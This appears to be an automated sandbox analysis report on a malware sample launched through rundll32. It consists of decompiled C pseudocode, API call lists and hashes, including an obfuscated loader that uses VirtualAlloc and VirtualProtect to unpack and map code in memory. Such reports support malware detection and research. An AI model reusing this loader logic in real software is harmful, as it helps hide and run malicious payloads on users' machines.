Source File: 00000001.00000002.487887011.0000000002F91000.00000020.00000001.sdmp, Offset: 02F90000, based on PE: true

Associated: 00000001.00000002.487875206.0000000002F90000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.487920719.0000000002F9C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.487930045.0000000002F9D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.487944197.0000000002F9F000.00000002.00000001.sdmp Download File

Similarity

API ID: CriticalSection$EnterFreeHeapLeaveSleep
String ID:
API String ID: 58946197-0
Opcode ID: 548a4c8a5815ff39cbcfbba6932f447144e8349288b811b50697e95987ad1d9a
Instruction ID: f1fddffa12cff8efa24cbea7ea277e566a712b5004fa46ca7ace0da4527cc0dd
Opcode Fuzzy Hash: 548a4c8a5815ff39cbcfbba6932f447144e8349288b811b50697e95987ad1d9a
Instruction Fuzzy Hash: B9F0D474E801049BEB18DB74D859E15F7A4EB08BC2F24880AEA02DB360C730EC20CE24

Uniqueness

Uniqueness Score: -1.00%

Function 02F97F27, Relevance: 5.1, APIs: 4, Instructions: 70
stringCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E02F97F27(void* __eax, void* __ecx, void* _a4, void** _a8, intOrPtr* _a12) {
				intOrPtr* _v8;
				void* _t17;
				intOrPtr* _t22;
				void* _t27;
				char* _t30;
				void* _t33;
				void* _t34;
				void* _t36;
				void* _t37;
				void* _t39;
				int _t42;

				_t17 = __eax;
				_t37 = 0;
				__imp__(_a4, _t33, _t36, _t27, __ecx);
				_t2 = _t17 + 1; // 0x1
				_t28 = _t2;
				_t34 = E02F92049(_t2);
				if(_t34 != 0) {
					_t30 = E02F92049(_t28);
					if(_t30 == 0) {
						E02F99039(_t34);
					} else {
						_t39 = _a4;
						_t22 = E02F9A911(_t39);
						_v8 = _t22;
						if(_t22 == 0 ||  *_t22 !=  *((intOrPtr*)(_t22 + 1))) {
							_a4 = _t39;
						} else {
							_t26 = _t22 + 2;
							_a4 = _t22 + 2;
							_t22 = E02F9A911(_t26);
							_v8 = _t22;
						}
						if(_t22 == 0) {
							__imp__(_t34, _a4);
							 *_t30 = 0x2f;
							 *((char*)(_t30 + 1)) = 0;
						} else {
							_t42 = _t22 - _a4;
							memcpy(_t34, _a4, _t42);
							 *((char*)(_t34 + _t42)) = 0;
							__imp__(_t30, _v8);
						}
						 *_a8 = _t34;
						_t37 = 1;
						 *_a12 = _t30;
					}
				}
				return _t37;
			}

0x02f97f27
0x02f97f31
0x02f97f33
0x02f97f39
0x02f97f39
0x02f97f42
0x02f97f46
0x02f97f52
0x02f97f56
0x02f97fca
0x02f97f58
0x02f97f58
0x02f97f5c
0x02f97f63
0x02f97f66
0x02f97f80
0x02f97f6f
0x02f97f6f
0x02f97f73
0x02f97f76
0x02f97f7b
0x02f97f7b
0x02f97f85
0x02f97fad
0x02f97fb3
0x02f97fb6
0x02f97f87
0x02f97f89
0x02f97f91
0x02f97f9c
0x02f97fa1
0x02f97fa1
0x02f97fbd
0x02f97fc4
0x02f97fc5
0x02f97fc5
0x02f97f56
0x02f97fd5

APIs

lstrlen.KERNEL32(00000000,00000008,?,74B04D40,?,?,02F915A4,?,?,?,?,00000102,02F911DA,?,?,00000000), ref: 02F97F33

Part of subcall function 02F92049: RtlAllocateHeap.NTDLL(00000000,00000000,02F97E50), ref: 02F92055

Part of subcall function 02F9A911: StrChrA.SHLWAPI(?,0000002F,00000000,00000000,02F97F61,00000000,00000001,00000001,?,?,02F915A4,?,?,?,?,00000102), ref: 02F9A91F
Part of subcall function 02F9A911: StrChrA.SHLWAPI(?,0000003F,?,?,02F915A4,?,?,?,?,00000102,02F911DA,?,?,00000000,00000000), ref: 02F9A929

memcpy.NTDLL(00000000,00000000,00000000,00000000,00000001,00000001,?,?,02F915A4,?,?,?,?,00000102,02F911DA,?), ref: 02F97F91
lstrcpy.KERNEL32(00000000,00000000), ref: 02F97FA1
lstrcpy.KERNEL32(00000000,00000000), ref: 02F97FAD

Memory Dump Source

Source File: 00000001.00000002.487887011.0000000002F91000.00000020.00000001.sdmp, Offset: 02F90000, based on PE: true

Associated: 00000001.00000002.487875206.0000000002F90000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.487920719.0000000002F9C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.487930045.0000000002F9D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.487944197.0000000002F9F000.00000002.00000001.sdmp Download File

Similarity

API ID: lstrcpy$AllocateHeaplstrlenmemcpy
String ID:
API String ID: 3767559652-0
Opcode ID: d50f567493e9cf3de5515fe077c9ad1dcfd280db3429af3ec88a74adc26568f9
Instruction ID: 7441eaec56f70491a495680ea26bda811e8d26e98e0efada38f9a4ab6a09f166
Opcode Fuzzy Hash: d50f567493e9cf3de5515fe077c9ad1dcfd280db3429af3ec88a74adc26568f9
Instruction Fuzzy Hash: DA218EB2904319EBDF12AFA5DC44BAEFFA9AF466C8F054055FA05AB211D735C9008BE0

Uniqueness

Uniqueness Score: -1.00%

Function 02F97CB8, Relevance: 5.0, APIs: 4, Instructions: 39
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E02F97CB8(void* __ecx, WCHAR* _a4, WCHAR* _a8) {
				void* _v8;
				void* _t18;
				int _t25;
				int _t29;
				int _t34;

				_t29 = lstrlenW(_a4);
				_t25 = lstrlenW(_a8);
				_t18 = E02F92049(_t25 + _t29 + _t25 + _t29 + 2);
				_v8 = _t18;
				if(_t18 != 0) {
					_t34 = _t29 + _t29;
					memcpy(_t18, _a4, _t34);
					_t10 = _t25 + 2; // 0x2
					memcpy(_v8 + _t34, _a8, _t25 + _t10);
				}
				return _v8;
			}

0x02f97ccd
0x02f97cd1
0x02f97cdb
0x02f97ce2
0x02f97ce5
0x02f97ce7
0x02f97cef
0x02f97cf4
0x02f97d02
0x02f97d07
0x02f97d11

APIs

lstrlenW.KERNEL32(004F0053,74B05520,?,00000008,03CA937C,?,02F9747C,004F0053,03CA937C,?,?,?,?,?,?,02F96814), ref: 02F97CC8
lstrlenW.KERNEL32(02F9747C,?,02F9747C,004F0053,03CA937C,?,?,?,?,?,?,02F96814), ref: 02F97CCF

Part of subcall function 02F92049: RtlAllocateHeap.NTDLL(00000000,00000000,02F97E50), ref: 02F92055

memcpy.NTDLL(00000000,004F0053,74B069A0,?,?,02F9747C,004F0053,03CA937C,?,?,?,?,?,?,02F96814), ref: 02F97CEF
memcpy.NTDLL(74B069A0,02F9747C,00000002,00000000,004F0053,74B069A0,?,?,02F9747C,004F0053,03CA937C), ref: 02F97D02

Memory Dump Source

Source File: 00000001.00000002.487887011.0000000002F91000.00000020.00000001.sdmp, Offset: 02F90000, based on PE: true

Associated: 00000001.00000002.487875206.0000000002F90000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.487920719.0000000002F9C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.487930045.0000000002F9D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.487944197.0000000002F9F000.00000002.00000001.sdmp Download File

Similarity

API ID: lstrlenmemcpy$AllocateHeap
String ID:
API String ID: 2411391700-0
Opcode ID: 02c7d1cc8ebdae5b037073c8e892bf563e2ec7dac2a9c93a38ed1aa795f9240f
Instruction ID: 1afb95f6837c5af341912adba4f7b2184ca82b8fd73f425c8f0af3c0fc00550b
Opcode Fuzzy Hash: 02c7d1cc8ebdae5b037073c8e892bf563e2ec7dac2a9c93a38ed1aa795f9240f
Instruction Fuzzy Hash: E7F0FF76900118BBDF11EFA9CC45CDE7BADEF493987554062EE08D7211E731EA14DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 02F93CC8, Relevance: 5.0, APIs: 4, Instructions: 27stringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(03CA9910,00000000,00000000,7742C740,02F9A453,00000000), ref: 02F93CD8
lstrlen.KERNEL32(?), ref: 02F93CE0

Part of subcall function 02F92049: RtlAllocateHeap.NTDLL(00000000,00000000,02F97E50), ref: 02F92055

lstrcpy.KERNEL32(00000000,03CA9910), ref: 02F93CF4
lstrcat.KERNEL32(00000000,?), ref: 02F93CFF

Memory Dump Source

Source File: 00000001.00000002.487887011.0000000002F91000.00000020.00000001.sdmp, Offset: 02F90000, based on PE: true

Associated: 00000001.00000002.487875206.0000000002F90000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.487920719.0000000002F9C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.487930045.0000000002F9D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.487944197.0000000002F9F000.00000002.00000001.sdmp Download File

Similarity

API ID: lstrlen$AllocateHeaplstrcatlstrcpy
String ID:
API String ID: 74227042-0
Opcode ID: d02f760e1e45257433b4dc1efaf305a4c2b0251c0c6015c98e78dfc40f389ce2
Instruction ID: e88e16cc68f0a018a263635822ef3b10c271f1ad9fb2757661248674c0bcadd6
Opcode Fuzzy Hash: d02f760e1e45257433b4dc1efaf305a4c2b0251c0c6015c98e78dfc40f389ce2
Instruction Fuzzy Hash: 36E01273D01229A78B119FE9AC48C6FFBADEF8DB91B054817FA01D3124D7259825CBE1

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: rundll32.exe PID: 2628 Parent PID: 5452 rundll32.exeCOMMON

Executed Functions

Function 02CA348F, Relevance: 3.9, APIs: 1, Strings: 1, Instructions: 367
memoryCOMMONCrypto

Download Yara Rule

C-Code - Quality: 72%

			E02CA348F(signed int __ebx, signed int __ecx, signed int __edx, signed int __edi, signed int __esi, signed int _a4) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v32;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				void* __ebp;
				signed int _t195;
				signed int _t197;
				signed int _t198;
				signed int _t199;
				signed int _t202;
				signed int _t205;
				signed int _t211;
				void* _t212;
				signed int _t215;
				signed int _t218;
				signed int _t221;
				signed int _t222;
				signed int _t223;
				signed int _t226;
				void* _t236;
				void* _t243;
				void* _t245;
				signed int _t247;
				signed int _t259;
				long _t262;
				long _t265;
				signed int _t270;
				signed int _t275;
				signed int _t278;
				signed int _t280;
				signed int _t282;
				void* _t286;
				signed int _t287;
				void* _t292;
				void* _t293;
				DWORD* _t294;
				signed int _t299;
				signed int _t302;
				signed int _t305;
				signed int _t308;
				void* _t309;
				signed int _t313;
				signed int _t320;
				long _t325;
				signed int* _t333;

				_t299 = __esi;
				_t275 = __edi;
				_t258 = __edx;
				_t229 = __ecx;
				_t223 = __ebx;
				if( *(__ebx + 0x41820f) == 0) {
					_push(_v20);
					 *_t333 = __ecx;
					_push(__edi);
					 *_t333 =  *_t333 & 0x00000000;
					 *_t333 =  *_t333 | __edx;
					_t195 =  *((intOrPtr*)(__ebx + 0x45d020))();
					_v20 = __ecx;
					 *(__ebx + 0x41820f) =  *(__ebx + 0x41820f) & 0x00000000;
					 *(__ebx + 0x41820f) =  *(__ebx + 0x41820f) | __ecx ^ _v20 | _t195;
					_pop(_t258);
					_pop(_t229);
				}
				_push(_t325);
				 *_t333 =  *_t333 - _t325;
				 *_t333 =  *_t333 ^ _t258;
				if( *(_t223 + 0x418637) == 0) {
					_v12 = _v12 & 0x00000000;
					 *_t333 =  *_t333 | _t229;
					_t195 =  *((intOrPtr*)(_t223 + 0x45d024))(_v12);
					_v12 = _t299;
					 *(_t223 + 0x418637) =  *(_t223 + 0x418637) & 0x00000000;
					 *(_t223 + 0x418637) =  *(_t223 + 0x418637) | _t299 - _v12 ^ _t195;
					_t299 = _v12;
					_pop(_t229);
				}
				_v20 = _v20 & 0x00000000;
				_push(_v20);
				 *_t333 =  *_t333 ^ _t229;
				if( *(_t223 + 0x4181e7) == 0) {
					_v32 =  *((intOrPtr*)(_t223 + 0x418351));
					_t325 = _t325;
					_v40 =  *((intOrPtr*)(_t223 + 0x418073));
					_t320 = _t299;
					_t275 = _v44;
					_v44 =  *((intOrPtr*)(_t223 + 0x418147));
					_t195 =  *((intOrPtr*)(_t223 + 0x45d044))(_t275, _t275, _t325, _t325);
					_v20 = _t320;
					 *(_t223 + 0x4181e7) =  *(_t223 + 0x4181e7) & 0x00000000;
					 *(_t223 + 0x4181e7) =  *(_t223 + 0x4181e7) | _t320 - _v20 | _t195;
					_t299 = _v20;
				}
				_v12 = _t275;
				_t197 = _t195 & 0x00000000 | _t275 ^ _v12 | _a4;
				_t278 = _v12;
				if( *(_t223 + 0x4182f3) == 0) {
					_v16 = _v16 & 0x00000000;
					_v32 = _v32 + _t197;
					_t222 =  *((intOrPtr*)(_t223 + 0x45d024))(_v16);
					_v12 = _t229;
					 *(_t223 + 0x4182f3) =  *(_t223 + 0x4182f3) & 0x00000000;
					 *(_t223 + 0x4182f3) =  *(_t223 + 0x4182f3) | _t229 & 0x00000000 ^ _t222;
					_t229 = _v12;
					_pop(_t197);
				}
				_t198 = _t197 +  *((intOrPtr*)(_t197 + 0x3c));
				if( *(_t223 + 0x418577) == 0) {
					_v32 = _v32 - _t223;
					_v32 = _v32 + _t198;
					_v40 =  *((intOrPtr*)(_t223 + 0x418197));
					_v44 = _v44 & 0x00000000;
					_v44 = _v44 ^ _t278;
					_t229 = _v48;
					_v48 =  *((intOrPtr*)(_t223 + 0x418193));
					_v52 =  *((intOrPtr*)(_t223 + 0x418320));
					_t221 =  *((intOrPtr*)(_t223 + 0x45d048))(_v40, _t325, _t229, 0, _t223);
					_v12 = _t258;
					 *(_t223 + 0x418577) =  *(_t223 + 0x418577) & 0x00000000;
					 *(_t223 + 0x418577) =  *(_t223 + 0x418577) | _t258 - _v12 ^ _t221;
					_t258 = _v12;
					_t198 = _t198;
				}
				_v20 = 0;
				_push(_v20);
				_v32 = _v32 | _t198;
				if( *(_t223 + 0x418583) == 0) {
					_v12 = _v12 & 0x00000000;
					 *_t333 =  *_t333 ^ _t198;
					_v40 =  *((intOrPtr*)(_t223 + 0x41848b));
					_v44 =  *((intOrPtr*)(_t223 + 0x4180ab));
					_t278 = _t278;
					_v48 = _t229;
					_v52 =  *((intOrPtr*)(_t223 + 0x4185df));
					_t299 = _t299;
					_v56 =  *((intOrPtr*)(_t223 + 0x418263));
					_t270 = _t258;
					_t218 =  *((intOrPtr*)(_t223 + 0x45d048))(_t229, _v16, _t229, _t198, _v12);
					 *(_t223 + 0x418583) =  *(_t223 + 0x418583) & 0x00000000;
					 *(_t223 + 0x418583) =  *(_t223 + 0x418583) ^ _t270 & 0x00000000 ^ _t218;
					_t258 = _t270;
					_t198 = _t278;
				}
				_v12 = _t299;
				_t280 = _t278 & 0x00000000 | _t299 & 0x00000000 ^ _t198;
				_t302 = _v12;
				if( *(_t223 + 0x418117) == 0) {
					_t215 =  *((intOrPtr*)(_t223 + 0x45d024))();
					_v12 = _t302;
					 *(_t223 + 0x418117) =  *(_t223 + 0x418117) & 0x00000000;
					 *(_t223 + 0x418117) =  *(_t223 + 0x418117) ^ _t302 ^ _v12 ^ _t215;
					_t302 = _v12;
				}
				_t199 =  *(_t280 + 6) & 0x0000ffff;
				if( *((intOrPtr*)(_t223 + 0x41829b)) == 0) {
					_v16 = 0;
					 *_t333 =  *_t333 + _t199;
					_push( *((intOrPtr*)(_t223 + 0x45d024))(_v16));
					_pop( *_t108);
					_push(_v16);
					_pop( *_t110);
					_pop(_t199);
				}
				_v8 = _v8 & 0x00000000;
				_v8 = _v8 ^ _t302 ^  *_t333 ^ _t199;
				_t305 = _t302;
				if( *(_t223 + 0x41806f) == 0) {
					_push(_t325);
					 *_t333 =  *(_t223 + 0x4182df);
					_push(_t280);
					_push( *_t333);
					_v40 =  *((intOrPtr*)(_t223 + 0x418340));
					_pop(_t325);
					_v44 =  *((intOrPtr*)(_t223 + 0x41817b));
					_t243 = _t229;
					_v48 =  *((intOrPtr*)(_t223 + 0x4185ff));
					_t245 = _t243;
					_v52 =  *((intOrPtr*)(_t223 + 0x4184eb));
					_t247 = _t245;
					_t199 =  *((intOrPtr*)(_t223 + 0x45d048))(_t325, _t243, _t199);
					 *(_t223 + 0x41806f) =  *(_t223 + 0x41806f) & 0x00000000;
					 *(_t223 + 0x41806f) =  *(_t223 + 0x41806f) | _t247 ^ _v56 ^ _t199;
					_t229 = _t247;
				}
				_push(_t258);
				 *_t333 =  *_t333 - _t258;
				 *_t333 = _t280;
				if( *(_t223 + 0x4180b7) == 0) {
					_t199 =  *((intOrPtr*)(_t223 + 0x45d024))();
					 *(_t223 + 0x4180b7) =  *(_t223 + 0x4180b7) & 0x00000000;
					 *(_t223 + 0x4180b7) =  *(_t223 + 0x4180b7) | _t229 - _v40 ^ _t199;
					_t229 = _t229;
				}
				_v20 = _t305;
				_t259 =  *(_t280 + 0x54);
				_t308 = _v20;
				if( *(_t223 + 0x41812b) == 0) {
					_v12 = _v12 & 0x00000000;
					_v40 = _v40 ^ _t259;
					_t199 =  *((intOrPtr*)(_t223 + 0x45d020))(_v12);
					 *(_t223 + 0x41812b) =  *(_t223 + 0x41812b) & 0x00000000;
					 *(_t223 + 0x41812b) =  *(_t223 + 0x41812b) | _t280 & 0x00000000 | _t199;
					_t280 = _t280;
					_pop(_t259);
				}
				_v12 = _t199;
				_t282 = _t280 & 0x00000000 ^ _t199 & 0x00000000 ^  *(_t223 + 0x4180f7);
				_t202 = _v12;
				if( *(_t223 + 0x4181df) == 0) {
					_v40 = _v40 & 0x00000000;
					_v40 = _v40 | _t259;
					_v48 =  *((intOrPtr*)(_t223 + 0x418444));
					_v16 = 0;
					_v52 = _v52 | _t223;
					_t202 =  *((intOrPtr*)(_t223 + 0x45d040))(_v16, _t259, 0, _t308);
					 *(_t223 + 0x4181df) =  *(_t223 + 0x4181df) & 0x00000000;
					 *(_t223 + 0x4181df) =  *(_t223 + 0x4181df) | _t229 - _v56 | _t202;
					_t229 = _t229;
					_pop(_t259);
				}
				_v40 = _t259;
				_t309 = _a4;
				_t262 = 0;
				_v16 = _t282;
				_t231 = _t229 & 0x00000000 | _t282 - _v16 | _t262;
				if(_v16 != _t309) {
					do {
						asm("movsb");
						_t231 = _t231 - 1;
					} while (_t231 != 0);
					_v12 = _t309;
					_t294 =  *(_t223 + 0x4180f7);
					_t309 = _v12;
					 *(_t223 + 0x4184cf) = 0x40;
					_v40 = _v40 & 0x00000000;
					_v40 = _v40 | _t223 + 0x004184cf;
					_v44 = 2;
					_v48 = _v48 - _t325;
					_v48 = _v48 | _t262;
					_v16 = _v16 & 0x00000000;
					_v52 = _v52 ^ _t294; // executed
					_t202 = VirtualProtect(_v16, _t325, _t262, _t294);
				}
				_pop(_t286);
				_t287 = _t286 + 0xf8;
				_t226 = _t223;
				do {
					_v12 = _v12 & 0x00000000;
					_push(_v12);
					 *_t333 =  *_t333 | _t287;
					_v16 = _t202;
					_t205 = _v16;
					_v16 = _t205;
					_t309 = (_t309 & 0x00000000 ^ _t202 & 0x00000000 ^ _a4) +  *((intOrPtr*)(_t287 + 0x14));
					_t202 = memcpy( *((intOrPtr*)(_t287 + 0xc)) +  *(_t226 + 0x4180f7), _t309, _t231 & 0x00000000 ^ _t205 & 0x00000000 ^  *(_t287 + 0x10));
					_t333 =  &(_t333[3]);
					_t231 = 0;
					_pop(_t292);
					_t287 = _t292 + 0x28;
					_t226 = _t226;
					_t187 =  &_v8;
					 *_t187 = _v8 - 1;
				} while ( *_t187 != 0);
				_pop(_t293);
				_push(_t325);
				_t211 = (_t202 & 0x00000000 | _t325 - _v32 |  *(_t293 + 0x28)) +  *(_t226 + 0x4180f7);
				_v32 = 0;
				 *(_t226 + 0x418418) = 0 ^ _t211;
				_t236 = 0;
				_v12 = _t262;
				_t313 = _t309 & 0x00000000 | _t262 & 0x00000000 ^  *(_t226 + 0x4180f7);
				_t265 = _v12;
				if(_t313 > 0) {
					_push(_t226);
					_v32 = _v32 ^ _t226;
					_v32 = _v32 | _t313;
					_t212 = E02CA20EE(_t226, _t236, _t265, _t293, _t313);
					 *_t333 =  *_t333 & 0x00000000;
					 *_t333 =  *_t333 ^ _t313;
					_t211 = E02CA5AF6(_t212, _t226, _t236, _t265, _t293, _t313, _t236);
				}
				return _t211;
			}

0x02ca348f
0x02ca348f
0x02ca348f
0x02ca348f
0x02ca348f
0x02ca349c
0x02ca349e
0x02ca34a1
0x02ca34a4
0x02ca34a5
0x02ca34a9
0x02ca34ac
0x02ca34b2
0x02ca34ba
0x02ca34c1
0x02ca34ca
0x02ca34cb
0x02ca34cb
0x02ca34cc
0x02ca34cd
0x02ca34d0
0x02ca34da
0x02ca34dc
0x02ca34e3
0x02ca34e6
0x02ca34ec
0x02ca34f4
0x02ca34fb
0x02ca3501
0x02ca3504
0x02ca3504
0x02ca3505
0x02ca3509
0x02ca350c
0x02ca3516
0x02ca3520
0x02ca3524
0x02ca352e
0x02ca3532
0x02ca353a
0x02ca353a
0x02ca353d
0x02ca3543
0x02ca354b
0x02ca3552
0x02ca3558
0x02ca3558
0x02ca355b
0x02ca3567
0x02ca3569
0x02ca3573
0x02ca3575
0x02ca357c
0x02ca357f
0x02ca3585
0x02ca358d
0x02ca3594
0x02ca359a
0x02ca359d
0x02ca359d
0x02ca359e
0x02ca35a8
0x02ca35ab
0x02ca35ae
0x02ca35ba
0x02ca35be
0x02ca35c2
0x02ca35cc
0x02ca35cc
0x02ca35d6
0x02ca35d9
0x02ca35df
0x02ca35e7
0x02ca35ee
0x02ca35f4
0x02ca35f7
0x02ca35f7
0x02ca35f8
0x02ca35ff
0x02ca3602
0x02ca360c
0x02ca360e
0x02ca3615
0x02ca361f
0x02ca362a
0x02ca362e
0x02ca3632
0x02ca363d
0x02ca3641
0x02ca364a
0x02ca364e
0x02ca364f
0x02ca365b
0x02ca3662
0x02ca3668
0x02ca3669
0x02ca3669
0x02ca366a
0x02ca3675
0x02ca3677
0x02ca3681
0x02ca3683
0x02ca3689
0x02ca3691
0x02ca3698
0x02ca369e
0x02ca369e
0x02ca36a1
0x02ca36ac
0x02ca36ae
0x02ca36b8
0x02ca36c1
0x02ca36c2
0x02ca36c5
0x02ca36c8
0x02ca36ce
0x02ca36ce
0x02ca36d5
0x02ca36d9
0x02ca36dc
0x02ca36e4
0x02ca36e6
0x02ca36ed
0x02ca36f0
0x02ca36f1
0x02ca36f8
0x02ca36fc
0x02ca3705
0x02ca3709
0x02ca3712
0x02ca3716
0x02ca371f
0x02ca3723
0x02ca3724
0x02ca3730
0x02ca3737
0x02ca373d
0x02ca373d
0x02ca373e
0x02ca373f
0x02ca3742
0x02ca374c
0x02ca374e
0x02ca375a
0x02ca3761
0x02ca3767
0x02ca3767
0x02ca3768
0x02ca3770
0x02ca3772
0x02ca377c
0x02ca377e
0x02ca3785
0x02ca3788
0x02ca3794
0x02ca379b
0x02ca37a1
0x02ca37a2
0x02ca37a2
0x02ca37a3
0x02ca37b2
0x02ca37b4
0x02ca37be
0x02ca37c1
0x02ca37c5
0x02ca37d1
0x02ca37d4
0x02ca37de
0x02ca37e1
0x02ca37ed
0x02ca37f4
0x02ca37fa
0x02ca37fb
0x02ca37fb
0x02ca37fe
0x02ca3806
0x02ca3808
0x02ca3809
0x02ca3814
0x02ca381b
0x02ca381d
0x02ca381d
0x02ca381e
0x02ca381e
0x02ca3821
0x02ca382c
0x02ca382e
0x02ca3831
0x02ca3842
0x02ca3846
0x02ca384a
0x02ca3852
0x02ca3855
0x02ca3858
0x02ca385f
0x02ca3862
0x02ca3862
0x02ca3868
0x02ca3872
0x02ca3874
0x02ca3875
0x02ca3875
0x02ca3879
0x02ca387c
0x02ca387f
0x02ca388d
0x02ca3890
0x02ca38a1
0x02ca38ad
0x02ca38ad
0x02ca38ad
0x02ca38af
0x02ca38b9
0x02ca38bb
0x02ca38bc
0x02ca38bc
0x02ca38bc
0x02ca38c1
0x02ca38c2
0x02ca38cf
0x02ca38d7
0x02ca38de
0x02ca38e4
0x02ca38e5
0x02ca38f4
0x02ca38f6
0x02ca38fc
0x02ca38fe
0x02ca38ff
0x02ca3902
0x02ca3905
0x02ca390b
0x02ca390f
0x02ca3912
0x02ca3912
0x02ca391a

APIs

VirtualProtect.KERNELBASE(00000000,?,00000000,?,?,00000000,00000000), ref: 02CA3862

Strings

@, xrefs: 02CA3831

Memory Dump Source

Source File: 00000004.00000002.248505823.0000000002CA0000.00000040.00000001.sdmp, Offset: 02CA0000, based on PE: true

Similarity

API ID: ProtectVirtual
String ID: @
API String ID: 544645111-2766056989
Opcode ID: 45ff06a93b9dab7e30dae66d33c620778585e23986d508cd26357393324dd102
Instruction ID: 73b87e3558993113902545149802a7479df7785c8230fcc96bc60c7dd3dbbf4e
Opcode Fuzzy Hash: 45ff06a93b9dab7e30dae66d33c620778585e23986d508cd26357393324dd102
Instruction Fuzzy Hash: 54F16F72C04208EFEB049F64C9897ADBBF5FF84715F1584ADDC88AB145CB786550CB68

Uniqueness

Uniqueness Score: -1.00%

Function 02CA6194, Relevance: 3.1, APIs: 2, Instructions: 112
memoryCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E02CA6194(signed int __ebx, void* __ecx, signed int __edx, DWORD* __edi, long __esi, void* __eflags) {
				void* __ebp;
				void* _t44;
				long _t45;
				signed int _t49;
				int _t50;
				signed int _t51;
				void* _t55;
				long _t56;
				signed int _t59;
				signed int _t62;
				void* _t63;
				signed int _t64;
				signed int _t69;
				long _t72;
				signed int _t74;
				signed int _t76;
				DWORD* _t80;
				signed int _t83;
				void* _t84;
				signed int _t85;
				void* _t90;
				long _t94;
				void* _t97;
				void** _t99;
				void** _t100;

				_t92 = __esi;
				_t80 = __edi;
				_t69 = __edx;
				 *_t99 =  *_t99 + 0xffff0000;
				 *_t99 =  *_t99 - _t94;
				_t45 = E02CA463F(_t44, __ebx, __ecx, __edi, __esi);
				_push(__ecx);
				_t62 = __ebx | __ebx;
				_t59 = _t62;
				_pop(_t63);
				if(_t62 != 0) {
					 *_t99 = 4;
					 *_t99 = 0x1000;
					_t94 =  *_t99;
					 *_t99 =  *(_t59 + 0x41823f);
					_t45 = VirtualAlloc(0, _t94, __esi, _t45);
				}
				 *_t99 =  *_t99 & 0x00000000;
				 *_t99 =  *_t99 | _t45;
				 *_t4 = _t94;
				 *(_t59 + 0x4184cf) = 2;
				 *(_t94 - 8) = _t69;
				 *(_t59 + 0x418379) =  *(_t59 + 0x418379) & 0x00000000;
				 *(_t59 + 0x418379) =  *(_t59 + 0x418379) | _t69 & 0x00000000 | _t45;
				_t72 =  *(_t94 - 8);
				if( *(_t59 + 0x4180f7) > 0) {
					_t56 = _t59 + 0x4184cf;
					 *_t99 =  *_t99 & 0x00000000;
					 *_t99 =  *_t99 | _t56;
					 *_t99 =  *_t99 + 0x40;
					 *_t99 =  *_t99 - _t56;
					_t72 =  *_t99;
					 *_t99 =  *(_t59 + 0x41856b);
					_t92 =  *_t99;
					 *_t99 =  *(_t59 + 0x4180f7);
					VirtualProtect( *_t99, _t72, _t56, _t80);
				}
				_push(_t80);
				 *_t99 =  *(_t59 + 0x418024);
				_push(_t72);
				_t99[1] =  *(_t59 + 0x418633);
				_t74 = _t72;
				 *(_t94 - 8) = E02CA4859(_t59, _t63, _t74,  *_t99, _t92);
				_t64 = 0 ^  *(_t59 + 0x41856b);
				_t49 =  *(_t94 - 8);
				 *_t99 = _t94;
				_t83 = 0 ^  *(_t59 + 0x4180f7);
				_t97 = 0;
				 *_t99 =  *_t99 | _t83;
				_t84 = _t83;
				if( *_t99 != 0) {
					 *_t99 =  *_t99 & 0x00000000;
					 *_t99 =  *_t99 + _t84;
					_t49 = E02CA2DF5(_t49, _t59, _t64, _t74, _t92, _t49);
				}
				 *_t99 =  *_t99 ^ _t49;
				_t50 = _t49;
				_t51 = memset(_t84, _t50, _t64 << 0);
				_t100 =  &(_t99[3]);
				_t85 = _t84 + _t64;
				if( *(_t59 + 0x418024) != _t59) {
					_t90 =  *_t100;
					 *_t100 =  *(_t59 + 0x418024);
					_t55 = E02CA348F(_t59, 0, _t74, _t90, _t92, _t85); // executed
					_push(_t55);
					_t100[1] =  *(_t59 + 0x418024);
					_t85 = _t90;
					_t51 = E02CA4DF5(_t55, _t59, _t74, _t85, _t92);
				}
				_push(_t85);
				_t76 = _t74 & 0x00000000 ^ _t85 & 0x00000000 ^  *(_t59 + 0x418418);
				_t100[5] = _t76;
				 *(_t97 - 4) = _t51;
				 *((intOrPtr*)(_t97 - 8)) = 0;
				 *(_t97 + 4) =  *(_t97 + 4) & 0x00000000;
				 *(_t97 + 4) =  *(_t97 + 4) | 0 | _t76 & 0x00000000 ^ (_t51 & 0x00000000 |  *(_t59 + 0x418418));
				asm("popad");
				return  *(_t97 - 4);
			}

0x02ca6194
0x02ca6194
0x02ca6194
0x02ca6195
0x02ca619c
0x02ca619f
0x02ca61a4
0x02ca61a7
0x02ca61a9
0x02ca61ab
0x02ca61ac
0x02ca61af
0x02ca61b7
0x02ca61c5
0x02ca61c5
0x02ca61ca
0x02ca61ca
0x02ca61d1
0x02ca61d5
0x02ca61d8
0x02ca61de
0x02ca61e8
0x02ca61f0
0x02ca61f7
0x02ca61fd
0x02ca6207
0x02ca6209
0x02ca6210
0x02ca6214
0x02ca6218
0x02ca621c
0x02ca6226
0x02ca6226
0x02ca6230
0x02ca6230
0x02ca6233
0x02ca6233
0x02ca6239
0x02ca6240
0x02ca6243
0x02ca624b
0x02ca624f
0x02ca6255
0x02ca6260
0x02ca6262
0x02ca6267
0x02ca6272
0x02ca6274
0x02ca6276
0x02ca6279
0x02ca627a
0x02ca627d
0x02ca6281
0x02ca6284
0x02ca6284
0x02ca628a
0x02ca628d
0x02ca628e
0x02ca628e
0x02ca628e
0x02ca6296
0x02ca629f
0x02ca629f
0x02ca62a2
0x02ca62a7
0x02ca62af
0x02ca62b3
0x02ca62b4
0x02ca62b4
